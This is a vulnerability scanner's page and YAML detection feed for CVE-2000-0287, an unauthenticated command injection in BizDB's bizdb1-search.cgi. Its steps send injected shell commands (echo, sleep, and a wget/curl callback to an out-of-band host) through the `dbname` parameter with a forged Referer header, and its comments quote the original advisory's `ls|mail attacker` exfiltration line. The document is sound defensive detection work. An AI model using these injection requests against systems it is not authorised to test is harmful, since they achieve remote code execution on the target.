BizDB — 1 vulnerability check
noctis ships 1 vulnerability check for BizDB, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
BizDB bizdb1-search.cgi dbname Command Execution
| CVE | CVE-2000-0287 |
|---|---|
| Severity | critical · CVSS 10.0 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/bizdb/CVE-2000-0287.yaml |
Detects the unauthenticated command execution in CNC Technology BizDB's bizdb1-search.cgi (CVE-2000-0287): the `dbname` parameter reaches an unchecked Perl open(), so `;<command>|` runs a shell command as the web server. The vendor's Referer check is satisfied with a forged header. Confirmation needs real execution: the shell-computed sum of two random integers in the reply, an out-of-band callback whose URL only a shell can rebuild, or a reply delay that scales with an injected sleep.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/bizdb1-search.cgi?template=bizdb-summary&dbname=;sleep%200|&f6=.*&action=sear… - Checks
ctrl.bodyfor[\s\S]* - HTTP(S) request
GET {{dir}}/bizdb1-search.cgi?template=bizdb-summary&dbname=;echo%20NOCTIS%24%28%28{{proo… - Checks
resp.bodyforNOCTIS[0-9]{7}→ finding QoD 97: BizDB command execution confirmed via …/bizdb1-search.cgi dbname: injected `;echo NOCTIS$((…+…))|` returned the shell-computed marker … - HTTP(S) request
GET {{dir}}/bizdb1-search.cgi?template=bizdb-summary&dbname=;wget%20-q%20-T%205%20-t%201%… - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: BizDB blind command execution confirmed via bizdb1-search.cgi dbname: a shell collapsed the $()-split OOB token and the injected wget/curl …
- HTTP(S) request
GET {{dir}}/bizdb1-search.cgi?template=bizdb-summary&dbname=;sleep%200|&f6=.*&action=sear… - HTTP(S) request
GET {{dir}}/bizdb1-search.cgi?template=bizdb-summary&dbname=;sleep%206|&f6=.*&action=sear… - HTTP(S) request
GET {{dir}}/bizdb1-search.cgi?template=bizdb-summary&dbname=;sleep%203|&f6=.*&action=sear… - Checks
slow3.bodyfor[\s\S]*→ finding QoD 75: BizDB command execution confirmed by timing via …/bizdb1-search.cgi dbname: control ;sleep 0| answered in … ms, injected ;sleep 6| in … ms …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2000-0287
- https://seclists.org/bugtraq/2000/Apr/47
- https://www.exploit-db.com/exploits/19844
Feed source — tests/vulnerabilities/bizdb/CVE-2000-0287.yaml
# CNC Technology BizDB 1.0 — bizdb1-search.cgi `dbname` command execution (CVE-2000-0287)
#
# Ported from OpenVAS/Greenbone NVT `pre2008/bizdb1_search.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.10383, GPL-2.0-only). Injection point and request
# shape from the Black Watch Labs advisory BWL-00-04 (Bugtraq, 2000-04-12,
# BID 1104 / EDB 19844):
# GET /cgi-bin/bizdb1-search.cgi?template=bizdb-summary&dbname=;<cmd>|&f6=^a.*&action=searchdbdisplay
# Referer: http://<target>/cgi-bin/bizdb1-search.cgi?bizdb-search
# The script passes `dbname` to an unchecked Perl open(): a trailing `|` turns
# the open into a pipe read and `;` starts the attacker's command, which runs
# with the web server's privileges. The vendor never shipped a fix — its only
# guard is a Referer check, which the forged header above satisfies.
#
# Detection — three benign proofs, nothing written, read or persisted. Each
# loop tries the CGI under /cgi-bin, /scripts, /cgi and the web root, and only
# goes on for a directory where the `;sleep 0|` control answers 200 quickly.
# 1. In-band (QoD 97): the command is `echo NOCTIS$((a+b))` with a, b random
# in 500000..999999. The script reads the pipe output as records; the
# finding fires only when NOCTIS<a+b> comes back. The 7-digit sum never
# appears in the request, so a page that reflects (or strips and
# reflects) dbname cannot produce it.
# 2. OOB callback (QoD 97, only when OOB is configured and 1 did not fire):
# `wget -q -T 5 -t 1 -O /dev/null <url>||curl -s -m 5 -o /dev/null <url>`,
# the token split by an empty $() so only a shell rebuilds the callback
# path. Covers installs whose template does not print the records.
# 3. Time differential (QoD 75, when 1 and 2 did not fire): `;sleep 0|` must
# answer in < 3 s, `;sleep 6|` in >= control + 5 s and `;sleep 3|` in
# >= control + 2.5 s but less than the 6 s probe — the Perl script blocks
# reading the pipe until the command exits, so the delay scales with the
# argument. A uniformly slow server cannot satisfy all three.
# duration_ms covers the full response (#1924), so a CGI that unbuffers
# ($| = 1) and prints its header before the open() is caught too.
#
# Better than the NASL: the NASL reports any server where bizdb1-search.cgi answers
# (plus a random-CGI 404 check), with no proof the open() is reachable or
# exploitable — a renamed placeholder or a locally hardened copy is reported
# too. This feed proves execution instead, and also tries /scripts, /cgi and
# the web root. The forged Referer has no port, as in the advisory. Deviation: the advisory's `ls|mail attacker` is replaced by the
# benign echo / sleep / callback commands above; `f6=.*` (instead of `^a.*`) so
# the echoed record passes the search filter.
#
# `http_request` keeps `;`, `|` and the %XX escapes of the query verbatim (only
# path dot-segments are normalised), so no raw tcp_connect is needed.
uid: 1fefc548-61c1-466e-9ebb-aaf680e6b93c
name: "BizDB bizdb1-search.cgi dbname Command Execution (CVE-2000-0287)"
description: |
Detects the unauthenticated command execution in CNC Technology BizDB's
bizdb1-search.cgi (CVE-2000-0287): the `dbname` parameter reaches an
unchecked Perl open(), so `;<command>|` runs a shell command as the web
server. The vendor's Referer check is satisfied with a forged header.
Confirmation needs real execution: the shell-computed sum of two random
integers in the reply, an out-of-band callback whose URL only a shell can
rebuild, or a reply delay that scales with an injected sleep.
cves: [CVE-2000-0287]
cvss: 10.0
severity: critical
confidence_base: 0.30
category: rce
tags: [bizdb, cnc-technology, cgi, perl, command-injection, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2000-0287"
- "https://seclists.org/bugtraq/2000/Apr/47"
- "https://www.exploit-db.com/exploits/19844"
steps:
# Per-run proof values: a, b in 500000..999999 so the sum has 7 digits and
# cannot hide inside a reflected 6-digit operand.
- id: gen-proof
action: script
code: |
let a = rand_int(500000, 999999);
let b = rand_int(500000, 999999);
#{ a: "" + a, b: "" + b, marker: "NOCTIS" + (a + b) }
store_as: proof
- id: split-oob-token
action: script
condition: "oob_enabled"
code: |
let n = strlen(oob_token);
#{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
store_as: oobsplit
# Set once the CGI answers 200 in some directory; gates the 20 s OOB wait.
- id: init-found
action: set_var
var_name: cgi_found
var_value: false
# ── Loop 1: in-band proof + OOB injection, once per CGI directory ─────────
# Pre-initialise every stored result read below, so a previous iteration's
# value never leaks into this one.
- id: init-ctrl
action: set_var
var_name: ctrl
var_value: {status: 0, body: "", duration_ms: 0}
loop:
over: ["/cgi-bin", "/scripts", "/cgi", ""]
var: dir
- id: init-resp
action: set_var
var_name: resp
var_value: {status: 0, body: ""}
# Control: the advisory request with an inert `;sleep 0|`. Gates the rest of
# the iteration on the CGI answering 200 in this directory.
- id: control
action: http_request
method: GET
path: "{{dir}}/bizdb1-search.cgi?template=bizdb-summary&dbname=;sleep%200|&f6=.*&action=searchdbdisplay"
tls_insecure: true
port: "{{port}}"
timeout_secs: 15
headers:
Referer: "{{scheme}}://{{target_host}}{{dir}}/bizdb1-search.cgi?bizdb-search"
store_as: ctrl
- id: mark-found
action: match
source: ctrl.body
pattern: "[\\s\\S]*"
condition: "ctrl.status == 200"
on_match:
set_vars:
cgi_found: true
# %20 = space %24%28%28 = $(( %2B = + %29%29 = ))
- id: inject-echo
action: http_request
method: GET
path: "{{dir}}/bizdb1-search.cgi?template=bizdb-summary&dbname=;echo%20NOCTIS%24%28%28{{proof.a}}%2B{{proof.b}}%29%29|&f6=.*&action=searchdbdisplay"
tls_insecure: true
port: "{{port}}"
timeout_secs: 15
condition: "ctrl.status == 200"
headers:
Referer: "{{scheme}}://{{target_host}}{{dir}}/bizdb1-search.cgi?bizdb-search"
store_as: resp
- id: confirm-echo
action: match
source: resp.body
pattern: "NOCTIS[0-9]{7}"
condition: "ctrl.status == 200 && resp.status == 200 && stridx(resp.body, proof.marker) >= 0"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "BizDB command execution confirmed via {{dir}}/bizdb1-search.cgi dbname: injected `;echo NOCTIS$(({{proof.a}}+{{proof.b}}))|` returned the shell-computed marker {{proof.marker}}"
stop: true
# OOB injection for this directory; the callback is awaited once after the
# loop. `||curl` covers hosts without wget; both are bounded to 5 s.
- id: inject-oob
action: http_request
method: GET
path: "{{dir}}/bizdb1-search.cgi?template=bizdb-summary&dbname=;wget%20-q%20-T%205%20-t%201%20-O%20/dev/null%20http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}%24%28%29{{oobsplit.b}}||curl%20-s%20-m%205%20-o%20/dev/null%20http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}%24%28%29{{oobsplit.b}}|&f6=.*&action=searchdbdisplay"
tls_insecure: true
port: "{{port}}"
timeout_secs: 15
condition: "oob_enabled && ctrl.status == 200"
headers:
Referer: "{{scheme}}://{{target_host}}{{dir}}/bizdb1-search.cgi?bizdb-search"
store_as: oob_req
- id: wait-callback
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled && cgi_found == true"
store_as: oob_result
on_success:
finding:
confidence_delta: 0.67
qod: 97
evidence: "BizDB blind command execution confirmed via bizdb1-search.cgi dbname: a shell collapsed the $()-split OOB token and the injected wget/curl fetched the per-run OOB URL (HTTP callback received)"
stop: true
# ── Loop 2: time differential, once per CGI directory ─────────────────────
- id: init-ctrl2
action: set_var
var_name: ctrl
var_value: {status: 0, body: "", duration_ms: 0}
loop:
over: ["/cgi-bin", "/scripts", "/cgi", ""]
var: dir
- id: init-slow6
action: set_var
var_name: slow6
var_value: {status: 0, body: "", duration_ms: 0}
- id: init-slow3
action: set_var
var_name: slow3
var_value: {status: 0, body: "", duration_ms: 0}
- id: control2
action: http_request
method: GET
path: "{{dir}}/bizdb1-search.cgi?template=bizdb-summary&dbname=;sleep%200|&f6=.*&action=searchdbdisplay"
tls_insecure: true
port: "{{port}}"
timeout_secs: 15
headers:
Referer: "{{scheme}}://{{target_host}}{{dir}}/bizdb1-search.cgi?bizdb-search"
store_as: ctrl
- id: inject-sleep6
action: http_request
method: GET
path: "{{dir}}/bizdb1-search.cgi?template=bizdb-summary&dbname=;sleep%206|&f6=.*&action=searchdbdisplay"
tls_insecure: true
port: "{{port}}"
timeout_secs: 20
condition: "ctrl.status == 200 && ctrl.duration_ms < 3000"
headers:
Referer: "{{scheme}}://{{target_host}}{{dir}}/bizdb1-search.cgi?bizdb-search"
store_as: slow6
- id: inject-sleep3
action: http_request
method: GET
path: "{{dir}}/bizdb1-search.cgi?template=bizdb-summary&dbname=;sleep%203|&f6=.*&action=searchdbdisplay"
tls_insecure: true
port: "{{port}}"
timeout_secs: 20
condition: "ctrl.status == 200 && ctrl.duration_ms < 3000 && slow6.status == 200 && slow6.duration_ms >= ctrl.duration_ms + 5000"
headers:
Referer: "{{scheme}}://{{target_host}}{{dir}}/bizdb1-search.cgi?bizdb-search"
store_as: slow3
- id: confirm-timing
action: match
source: slow3.body
pattern: "[\\s\\S]*"
condition: "ctrl.status == 200 && ctrl.duration_ms < 3000 && slow6.duration_ms >= ctrl.duration_ms + 5000 && slow3.status == 200 && slow3.duration_ms >= ctrl.duration_ms + 2500 && slow3.duration_ms < slow6.duration_ms"
on_match:
finding:
confidence_delta: 0.62
qod: 75
evidence: "BizDB command execution confirmed by timing via {{dir}}/bizdb1-search.cgi dbname: control ;sleep 0| answered in {{ctrl.duration_ms}} ms, injected ;sleep 6| in {{slow6.duration_ms}} ms and ;sleep 3| in {{slow3.duration_ms}} ms (delay scales with the injected argument)"
stop: true